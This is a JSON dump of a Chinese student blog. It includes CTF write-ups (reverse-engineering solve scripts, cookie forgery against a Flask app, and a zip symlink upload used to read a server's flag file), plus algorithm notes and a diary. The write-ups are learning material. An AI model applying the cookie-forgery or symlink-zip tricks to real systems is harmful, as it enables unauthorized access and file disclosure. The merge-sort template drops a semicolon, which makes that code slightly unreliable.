其中strcmp是比较字符串的函数，为0则证明两个字符串相等，因此!strcmp基本都是判断两个字符串是否相等\n\n接下来是encode函数，最开始我以为是个官方函数，结果google了半天发现不是，然后点进去如下\n\n![](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/20230720163726.png)\n\n很容易就可以看懂，下面是解题脚本\n\n```python\ntag = list(\"izwhroz\\\"\\\"w\\\"v.K\\\".Ni\")\nflag = []\ni = 0\nwhile i < 18:\n    flag.append(chr((ord(tag[i]) ^ 18) - 6))\n    flag.append(chr((ord(tag[i+1]) ^ 18) + 6))\n    flag.append(chr(ord(tag[i+2]) ^ 18 ^ 6))\n    i += 3\nflag_ = ''.join(flag)\nprint(flag_)\n```\n\n> 没想到^运算解方程的时候也可以直接移到等号另一侧，记下来\n\n最后结果如下，其中unctf{b66_6b6_66b}就是flag了\n\n![](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/20230720164258.png)\n\n#### 小结\n\n下面主要是这个题中学到的一些新技巧\n\n查看key的值（之前对于这个问题总是一知半解），在ida中点进key，如下\n\n![](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/20230720163533.png)\n\n然后点击dd，摁H即可变为10进制，摁Q变为16进制\n\n还有就是enflag的导出，刚点进去的时候如下，看见一堆双引号的我是一脸懵逼的\n\n![](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/20230720163853.png)\n\n然后发现一个方法，就是点击enflag，直接ctrl+x，就会出现如下，就可以直接粘贴出来了，也发现了双引号其实也是字符串的一部分。他甚至还用\\给你转义好了可以直接用，很棒\n\n![](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/20230720164007.png)\n\n## 三、easyRE1   |   lucknum\n\n这两题有点过于简单了，都是直接拖进ida，就发现flag了（确实easy）\n\n![](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/20230721094726.png)\n\n但是我卡了好久最后甚至看的题解才做出来。中间我甚至以为这串字符串是什么编码，试了半天也没做出来。最后原因竟是需要用flag{}括起来。不明觉厉，前面的第一题我最开始用flag括起来不对，然后直接输入就对了。但这题还必须括起来。。\n\n![](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/20230721094744.png)\n\nflag如图，即为flag{db2f62a36a018bce28e46d976e3f9864}\n\n![](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/20230721095310.png)\n\n![](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/20230721095348.png)\n\nflag如图 flag{c0ngr@tul@ti0n_f0r_luck_numb3r}\n\n## 四、reverse_re3 迷宫题\n\n![](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/20230726102529.png)\n\n这题我分析了好久也没有思路，我最后做完总结一下，还是因为不会把迷宫从ida里面导出来或者直接看出来。最后无奈求助了题解，发现可以在ida里面直接看迷宫，又自己摸索了一下，最后做出来了。也算是对迷宫题有了一个初步的了解。\n\n这题的思路最开始我是一脸懵的，后来看了题解再看看才逐渐了解。你在玩一种很新的迷宫。（对我来说）\n\n首先进入main函数\n\n![](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/20230726103904.png)\n\n发现进入了sub_940()函数，点进去\n\n![](C:\\Users\\打工人\\AppData\\Roaming\\marktext\\images\\2023-07-26-10-39-43-image.png)\n\n看到wasd的时候就知道是迷宫了，然后发现函数sub_86c每次循环都会用到，点进去，如下，这时已经知道202020里面就是迷宫数组了，但是不知道如何有效的表示出来，具体表示方法一会再说。\n\n![](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/20230726104043.png)\n\n其中202AB0最开始为0，之后会自增，增到2便退出函数，如下\n\n而且结合上下两个图，发现迷宫应该是15*15的，而且有三个迷宫，由202AB0控制，只有当前面的输入循环完后v2仍为0才算通过了一个迷宫，需要通过三个迷宫才算成功。然后就可以返回上面看具体的wasd移动判断函数了。\n\n再看i j 在当前迷宫里面循环，当找到3的时候便停止，并且把i j分别存入行数和列数，便于之后判断。（后面看迷宫的时候也会发现每个迷宫只有一个3）\n\n![](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/20230726104218.png)\n\n点进判断“d”的函数，如下\n\n![](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/20230726104418.png)\n\n根据上面的分析，很容易看出202AB0为控制当前是哪个迷宫的，而且从前面得到的行列数开始判断，这个函数是判断d的，也就是右移，所以如果下一步是1则证明正确，就把下一步变成3，而所在的3变为1，这样就方便前面的函数下次找3的时候找到咱们移动后的位置开始判断，这样就实现了移动。并且如果下一步是4则返回1退出，也就是退出循环。即宏观来看：\n\n每个迷宫从3开始，途中必须每一步都要经过1，然后最终到达4证明当前迷宫通关。\n\n#### 小结\n\n然后下面是展示迷宫的操作：先点进去，迷宫最开始是下面这种情况，\n\n![](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/20230726105353.png)\n\n**然后只需要右键-array如下**\n\n![](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/20230726105641.png)\n\n然后如下设置，设置总数量，每行的数量，然后显示index，以及间距调为1，就\n\n![](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/20230726105739.png)\n\n就会出现下面的样式\n\n![](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/2023-07-26-10-53-11-image.png)\n\n然后根据迷宫走，会走出下面的字符串，直接md5加密得到flag\n\nddsssddddsssdssdddddsssddddsssaassssdddsddssddwddssssssdddssssdddss\n\n即flag{aeea66fcac7fa80ed8f79f38ad5bb953}\n\n## 五、总结\n\n写完这篇文章我感觉我才算刚刚入门逆向。学会了编写一些简单的脚本解题，并且对一些ida的操作更加熟悉。也对迷宫题有了一些新的解题思路。\n\n希望之后能越来越好吧\n","tags":["ctf回顾"],"categories":["ctf"]},{"title":"第0篇文章","url":"/2023/07/12/hello-world/","content":"\n# 欢迎来到我的博客！\n\n（2023.1.16更新）本博客由于之前一段时间比较忙处于完全废弃的状态，如今从新拾起博客，并且换了一个更加美观的主题。今后的博客应该会主要记录一下学习ctf过程中的知识点总结和一些算法的学习总结。（2023.7.12更新）博客再次重整，删去了很多没必要的文章，内容再次精简，希望这是一个新的开始。\n\n\n如有任何问题欢迎各位大佬前来交流。\n","tags":["引言"]},{"title":"nullcon HackIM CTF补题","url":"/2023/03/19/ctf/","content":"\n> 之前一直有各种事情没来得及补题，这周日终于闲了下来可以有时间补补题，这次的比赛虽然web就两道题但是很值得补一下的。而本菜鸟也只做出了最简单的第一题。害。现在正是Wolv ctf比赛的时候，看了看web题，嗯，好难。本菜鸟深知实力不够，干脆就趁这个时间把之前的题都补一补。\n\n# 一.cookie伪造\n\n这题应该是非常简单的一道题，下载源码后可以在代码中找到如下语句\n\n```python\n@app.route('/whoami')\ndef whoami():\n    role = request.cookies.get('role','guest')\n    really = request.cookies.get('really', 'no')\n    if role == 'admin':\n        if really == 'yes':\n            resp = 'Admin: ' + os.environ['FLAG']\n        else:\n            resp = 'Guest: Nope'\n    else:\n        resp = 'Guest: Nope'\n    return Response(resp, mimetype='text/plain')\n\nif __name__ == \"__main__\":\n    app.run(host='0.0.0.0', port='8080', debug=False)\n```\n\n可以很清晰的看到上面两个if语句都通过后就可以打印出flag，因此借助burp语句可以很快速的实现。如下图\n\n![](https://s3.bmp.ovh/imgs/2023/03/19/d67e3cc48487afd1.png)\n\n先是用burp抓包，然后构造一下cookie使其可以通过if，点击action将其发送到repeater，然后点击send便可以发送我们构造好了的cookie，之后便可以接收到flag了！如下\n\n![](https://s3.bmp.ovh/imgs/2023/03/19/febe47596ef06c7f.png)\n\n# 二、上传文件\n\n这题的题解主要参照[这个网址](https://www.cnblogs.com/xxpanda/p/17212918.html)\n\n但是很奇怪，我参照这个网址的方法下来出现了没有找到文件的标志\n\n![](https://s3.bmp.ovh/imgs/2023/03/19/5333aefb90522225.png)\n\n于是我又去找了另一个官方的[题解网址](https://ctftime.org/writeup/36347)，根据他的做法下来，也是一样的标志，这样只能说明flag文件已经被官方删除了？？具体原因我也不太清楚。但是方法肯定是这样的，如下\n\n```python\n@app.route('/', methods=['GET'])\ndef index():\n    output = io.StringIO()\n    output.write(\"Send me your zipfile as a POST request and I'll make them accessible to you ;-0.\")\n\n    return Response(output.getvalue(), mimetype='text/plain')\n\n\n@app.route('/', methods=['POST'])\ndef upload():\n    output = io.StringIO()\n    if 'file' not in request.files:\n        output.write(\"No file provided!\\n\")\n        return Response(output.getvalue(), mimetype='text/plain')\n\n    try:\n        file = request.files['file']\n\n        filename = hashlib.md5(secrets.token_hex(8).encode()).hexdigest()\n        dirname = hashlib.md5(filename.encode()).hexdigest()\n\n        dpath = os.path.join(\"/tmp/data\", dirname)\n        fpath = os.path.join(dpath, filename + \".zip\")\n\n        os.mkdir(dpath)\n        file.save(fpath)\n\n\n        with zipfile.ZipFile(fpath) as zipf:\n            files = zipf.infolist()\n            if len(files) > 5:\n                raise Exception(\"Too many files!\")\n\n            total_size = 0\n            for the_file in files:\n                if the_file.file_size > 50:\n                    raise Exception(\"File too big.\")\n\n                total_size += the_file.file_size\n\n            if total_size > 250:\n                raise Exception(\"Files too big in total\")\n\n        check_output(['unzip', '-q', fpath, '-d', dpath])\n\n\n        g = glob.glob(dpath + \"/*\")\n        for f in g:\n            output.write(\"Found a file: \" + f + \"\\n\")\n\n        output.write(\"Find your files at http://...:8088/\" + dirname + \"/\\n\")\n\n\n    except Exception as e:\n        output.write(\"Error :-/\\n\")\n\n    return Response(output.getvalue(), mimetype='text/plain')\n\n\n\nif __name__ == \"__main__\":\n    app.run(host='0.0.0.0', port='8080', debug=True)\n```\n\n先看代码，看见是让我们上传一个zip文件，当时就卡在了上传文件好像没什么用这里了，看了题解是要用软链接，不能直接上传，如下图：\n\n![](https://s3.bmp.ovh/imgs/2023/03/19/a55761c784ae3d80.png)\n\n先输入ln -s 将文件变为软链接格式，然后打包压缩，最后按照下面的代码上传文件\n\n```python\nimport requests\nurl = \"http://52.59.124.14:10015/\"\nfiles = {'file':open('test.zip','rb')}\nres = requests.post(url,files=files)\n\nprint(res.text)\n```\n\n最后回复如下\n\n![](https://s3.bmp.ovh/imgs/2023/03/19/c74d84a09b6ce064.png)\n\n然后在10016端口打开这个网址就会出现下面的网页\n\n![](https://s3.bmp.ovh/imgs/2023/03/19/89c09bd6962d99bd.png)\n\n正常来说应该是点击这个flag@就会出现flag，但是并没有出现，但是方法肯定就是这样的了。\n\n接下来就是有时间补补lactf的题，感觉那个题都还不错，值得补一下，剩下的就是等这个ctf结束看题解了。。。\n","tags":["ctf补题"],"categories":["ctf"]},{"title":"三种基础算法学习","url":"/2023/01/16/gui/","content":"\n# <center>一、归并排序</center>\n\n### 1、算法思想\n\n其实这些排序算法都是很基础的东西，要是有考试的话直接sort就够用，但是目的还是学习思想，有些题用这些算法里面的思想可能会有奇效。\n\n###### （一）归并排序思想：\n\n1. 先确定分界点，就是区间中点`mid = (l+r) / 2`\n\n2. 先两侧递归，即先递归左面排序，后递归右面排序\n\n3. 将上面两个排好序的序列合二为一，用到的是双指针算法\n\n###### （二）双指针算法\n\n简单来说就是两个指针分别指向两个有序数列（默认从小到大）的开头，比较两个指针指向的数字，这两个数中较小的数一定是两个序列的最小的数，填入新数组的开头，然后较小的数的指针加一，以此类推\n\n###### （三）稳定性\n\n归并排序是稳定的。稳定的含义简单来说就是在未排序之前两个数的相对位置和排序之后两个数的相对位置一致。就比如排序前a在b左边但是a=b，排序后a仍在b左边，不会在b右边，这就是稳定性。\n\n一般用于对某个对象的属性进行排序的时候，这个对象有多个属性时，比如价格，性价比两项，先对价格进行排序，排好之后再对性价比进行排序，但是要求对相同性价比的商品价格低的优先级仍高于价格高的优先级（即已有a=b，此时ab指代性价比，需要仍保持ab之前的排序不变，即价格的高低顺序一致），而不会反过来，这时候的排序算法就需要有稳定性的排序算法。而不稳定的排序算法（如快排）就会有可能使当a=b的时候ab的相对顺序和之前不一致。\n\n### 2、代码示例（模板来咯）\n\n```cpp\nint tmp[N];\nvoid merge_sort(int q[],int l, int r){\n    if(l >= r) return;\n    int mid = l+r >> 1;\n    merge_sort(q,l,mid);\n    merge_sort(q,mid+1,r);\n    int k = 0,i = l, j = mid+1;\n    while(i <= mid && j <= r)\n        if(q[i] < q[j]) tmp[k++] = q[i++];\n        else tmp[k++] = q[j++];\n    while(i <= mid) tmp[k++] = q[i++]\n    while(j <= r) tmp[k++] = q[j++];\n    for(i = l, j = 0; i <= r; i++,j++) q[i] = tmp[j];\n}\n```\n\n其实这种基础算法归根结底学的是思想，思想应该更加重要。\n\n# <center>二、快速排序</center>\n\n### 1、基本思想\n\n快速排序的基本思想十分简单，如下图，其中**调整位置并且递归**是主体部分，下面我将放出朴素快速排序和最近学到的一种很新的快速排序代码方式，**~~正所谓背模板嘛~~**。仅供参考。\n\n![](https://s3.bmp.ovh/imgs/2023/01/16/b0254238f986d7b8.jpg)\n\n（字丑请见谅）\n\n**注意** ：x位置也可以是随机的，不一定在中点或者左右端点。\n\n### 2、代码如下：\n\n###### （一）朴素快速排序算法：\n\n本来想敲一遍的，但是发现朴素算法不够优雅肯定用不到，所以就讲一下基本思路就好了\n\n1. 建立两个数组a[N]与b[N]；\n\n2. 对q[x]进行扫描，大于等于x的放到a里面，小于x的放到b里面\n\n3. 最后把a里面的数放到q前面，然后紧接着把b里面的数放到q里面完成。\n\n4. 然后分别对左右两边递归。结束\n\n这种算法的时间复杂度不大，仍是O(n)（指一次递归过程中，不是总的时间复杂度），但是用到了额外的空间，空间复杂度较高。下面这种“优雅”的方法可以有效避免这一点。\n\n###### （二）优雅的快排算法\n\n基本思路，用到两个指针i，j；\n\n1. i 指针负责判断指向的数是否小于x，如果符合条件，则自增，如果指向的数 \\leq x，停止移动\n\n2. j 指针负责判断指向的数是否小于x，如果符合条件，则自增，如果指向的数 \\geq x，停止移动\n\n3. 如果i指针和j指针同时停止移动，则交换两指针指向的内容，保证了i指针所指向的数之前全部小于x，j指针指向的数之后均大于x；\n\n4. 当i指针\\geq j指针后，停止循环\n\n5. 然后以l到j，j+1到r为分界分别递归\n\n代码如下\n\n```cpp\nvoid quick_sort(int q[],int l,int r){\n    if(l >= r) return;\n    int i = l-1, j = r+1;\n    int x = q[(l+r)/2];\n    while(i < j){\n       do i++; while(q[i] < x);\n       do j--; while(q[j] > x);\n       if(i < j) swap(q[i],q[j]);\n    }\n    quick_sort(q,l,j);\n    quick_sort(q,j+1,r);\n}\n```\n\n这种方法就有效避免了额外再开辟空间的情况，空间复杂度较好。\n\n# <center>三、二分法</center>\n\n### 1、算法思路\n\n二分查找主要分为两类，一类是整数二分查找，一类是实数二分查找。整数二分查找比较困难，因为边界问题很多，需要考虑的事情很多，下面说一下二分查找的基本思路。\n\n**注：有单调性的一定可以用二分，没有单调性的不一定不能用二分，二分的本质并不是单调性，关系并不是很大**\n\n![](https://s3.bmp.ovh/imgs/2023/01/20/92a8b513b04c4e3b.png)\n\n如上图，整数二分的本质并不在单调性，只不过大部分例子都是单调性有关而已。而实际的本质是把一个区间按**某个性质分为两段**，**（由于是整数二分则上面两段的箭头指向的端点并不重合）**，通过二分就可以分别找出两个箭头所指向的位置。而正由于有两个区间的端点，因此有两个模板分别求这两个箭头指向的位置。简单来说：\n\n- 左侧箭头指向的是符合红色条件的最右侧的位置\n\n- 右侧箭头指向的是符合绿色条件的最左侧的位置\n\n为方便理解，可以以一道经典例题为例：\n\n> 给定一个按照升序排列的长度为 n的整数数组，返回一个元素 k的起始位置和终止位置（位置从 0开始计数）如果数组中不存在该元素，则返回 -1 -1。\n\n即如果序列为1,2,3,3,3,4,5,5，需要返回3的起始位置和终止位置，则用二分较快。其中起始位置的3就代表上图右侧箭头，指向的是符合绿色条件的最左侧的位置，即此处的3把整个区间按性质：是否大于等于3分成两半。左侧均小于三，右侧均大于等于3；终止位置3就代表上图左侧箭头，指向的是符合红色条件的最右侧位置，即此处的3把整个区间按性质：是否小于等于3分成两半。左侧均小于等于三，右侧均大于3\n\n因此，像这种找区间左右端点的题就需要分别使用两种模板，如下：\n\n### 2、代码模板\n\n###### (一)、整数模板\n\n```cpp\n// 模板一\nwhile(l < r){\n    int mid = l + r >> 1;\n    if(check(mid)) r = mid;\n    else l = mid + 1;\n}\n//模板二 if后面跟l就加一\nwhile(l < r){\n    int mid = l+ r + 1 >> 1;   // +1是为了防止死循环\n    if(check(mid)) l = mid;\n    else r = mid - 1;\n}\n```\n\n**注意：L = mid 时，初始化mid的时候需要+1，是为了防止死循环**\n","tags":["算法基础"],"categories":["算法学习"]},{"title":"第一篇文章！那就记录一下这一天吧！","url":"/2022/09/29/my-first-blog/","content":"\n# 疯狂星期四！！！\n\n## 崩三周年庆版本开启，我攒了整整一个月的水（一个月）抽卡没毕业。\n\n战况：攒了50抽，官方免费十连加送十张卡，最后歪了一堆圣痕，专属没见到几个，还剩30发大保底（悲）\n\n## 原神！（今天还没玩）\n\n昨天抽了十几发没出温迪，害（我已经10多抽没出金了，mhy你注意点！）\n\n## 课程相关：\n\n1.早上计基上机课：在助教热情的讲解下度过（略）\n2.十六式太极拳：原来的老师有事来不了，在代课老师的带领下摸鱼度过（爽）\n3.离散数学：老师竟然提前下课了！，提前了整整十分钟！！（然后课上讲什么来着，忘了）\n4.思修：胡志辉老师的课，很好！（大水课，大大大大大大大水课，这是我上过最水的思政课，上课不听完全没有愧疚感，因为都是他在讲以前复旦的故事，嗨嗨嗨）","tags":["diary"],"categories":["生活"]}]